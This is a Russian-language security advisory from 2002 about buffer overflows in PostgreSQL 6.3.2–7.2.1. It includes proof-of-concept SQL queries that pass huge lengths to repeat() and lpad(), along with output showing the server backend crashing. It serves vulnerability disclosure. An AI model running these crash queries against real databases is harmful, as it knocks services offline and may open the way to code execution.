Security Lab

Множественные переполнения буфера в PostgreSQL

Дата публикации:23.08.2002
Всего просмотров:1148
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: PostgreSQL – бесплатная реляционная база данных.

1. Переполнение буфера в функции repeat(). Уязвимость может использоваться для выполнения произвольного кода с привилегиями процесса PostgreSQL. Пример:

psql> select repeat('xxx',1431655765);
pqReadData() -- backend closed the channel unexpectedly.
        This probably means the backend terminated abnormally
        before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
2. Большие целочисленные параметры к функциям lpad() и rpad() приведут к переполнению буфера. Уязвимость затрагивает только те базы данных, в которых используется 'UNICODE' кодирование.Пример:
shell> pgsql template1 postgres
template1=# select version();
                          version
-----------------------------------------------------------
 PostgreSQL 7.2 on i686-pc-linux-gnu, compiled by GCC 2.96
(1 row)

template1=# create database my_db with encoding='UNICODE';
CREATE DATABASE
template1# \c my_db
You are now connected to database my_db.

my_db=# select lpad('xxxxx',1431655765,'yyyyyyyyyyyyyyyy');
pqReadData() -- backend closed the channel unexpectedly.
        This probably means the backend terminated abnormally
        before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
!#
Уязвимость обнаружена в PostgreSQL 6.3.2- 7.2.1
Ссылки: @(#)Mordred Labs advisory 0x0004: Multiple buffer overflows in PostgreSQL.
@(#)Mordred Labs advisory 0x0003: Buffer overflow in PostgreSQL